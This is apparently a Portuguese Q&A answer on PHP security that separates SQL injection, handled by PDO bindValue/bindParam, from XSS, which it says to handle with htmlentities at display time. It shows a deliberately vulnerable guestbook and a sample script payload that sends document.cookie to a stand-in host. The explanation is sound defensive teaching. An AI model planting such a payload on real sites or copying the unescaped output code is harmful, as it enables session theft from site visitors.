XSS é uma coisa e SQL-Injection é outra totalmente diferente, apesar de ambas poderem (sempre) se originarem da mesma fonte:
SQL-injection
Ocorre se o usuário puder manipular ou quebrar a query. Quando usamos bindValue
e bindParam
, as próprias APIs nativas já "tratam" isso. Recomendo que leia esta outra resposta minha:
XSS
É a injeção de código que será posteriormente exibidos na página. Isso pode ocorrer com bindParam
pois não é um problema de SQL. Qualquer meio de armazenamento que mostre os dados na página posteriormente pode sofrer desta falha, por exemplo: ao invés de salvar os dados em um banco, o site salva em um .txt:
salvar.php
file_put_contents('mural.txt', $_POST['mensagem'], FILE_APPEND);
E na hora de exibir o mural.txt fizesse apenas isto:
exibir.php
echo file_get_contents('mural.txt');
Qualquer coisa que foi enviada no $_POST['mensagem']
, será exibida diretamente, até mesmo HTML, JS e CSS que foram criados por quem enviou. Nisso, pode ocorrer a exploração dos dados, como ler e sequestrar os cookies se o JS enviado fizer algo como:
<script>
var q = document.createElement('script');
q.src = "http://www.sitequevaisequestraroscookies.com/pagina?cookies=" + encodeURI(document.cookie);
document.body.appendChild(q);
</script>
É um código de exemplo só para entender como ocorre.
Conclusão
Creio que bindParam
e bindValue
já resolve o SQL-injection, mas o XSS você pode resolver de outra maneira. As pessoas falam para fazer coisas como:
$preparedQuery->bindValue($key, htmlentities($_POST['mensagem']));
Ou:
$preparedQuery->bindValue($key, strip_tags($_POST['mensagem']));
Sim, são coisas que funcionam, mas existe um problema, não de segurança, mas de quebra nos dados. Eu pessoalmente sou a favor de salvar os dados da maneira que vieram, somente tratando para evitar SQL-injection, e o XSS deveria ser resolvido na hora de exibir os dados e não na hora de gravar. Isso porque é muito comum de ocorrer perda de caractéres e coisas do gênero, o que pode fazer os dados do banco ficarem "quebrados" e impossível de recuperar.
Não vou entrar em detalhes, não é bem culpa do strip_tags
ou htmlentities
. O que ocorre é que muitas vezes as pessoas migram os dados ou mudam as páginas/sistemas e etc e nestas manutenções as coisas podem se perder. Fora que se os dados forem reaproveitados em um sistema "não web" pode ocorrer de ficar assim na GUI:
<p>olá</p>
Imagine que o seu sistema tem tutoriais sobre HTML ou outras linguagens. Poderá perder a formatação. Muitos sistemas de fóruns como IP.Board (o qual usei uma época) perdeu muitos dados conforme os upgrades para novas versões.
Ou seja grave da maneira que veio e faça o tratamento na hora de exibir:
while ($row = $q->fetch(PDO::FETCH_ASSOC)) {
echo 'Nome: ', htmlentities($row['nome']), '<br>',
'mensagem: ', htmlentities($row['mensagem']), '<hr>';
}
Claro que se quiser usar strip_tags
e for seu objetivo de fato não falar de códigos em nenhum local do site, pode se usar no momento da gravação. Mas pense assim: se for um sistema de chamados do qual você precisa passar para outro analista um código que tenha trechos HTML ou algo assim, ao limpar a string a mensagem perderá o sentido, então trocar os caracteres HTML por entidades seria mais adequado a situação.
$_POST
dentro de foreach ou não é a mesma situação de pt.stackoverflow.com/a/188306/3635, você pode até usar o foreach, mas prefira usa-lo junto com bindParam, a tua pergunta esta boa, o problema lá são as respostas do Carlos e do Gustavo que ensinam errado.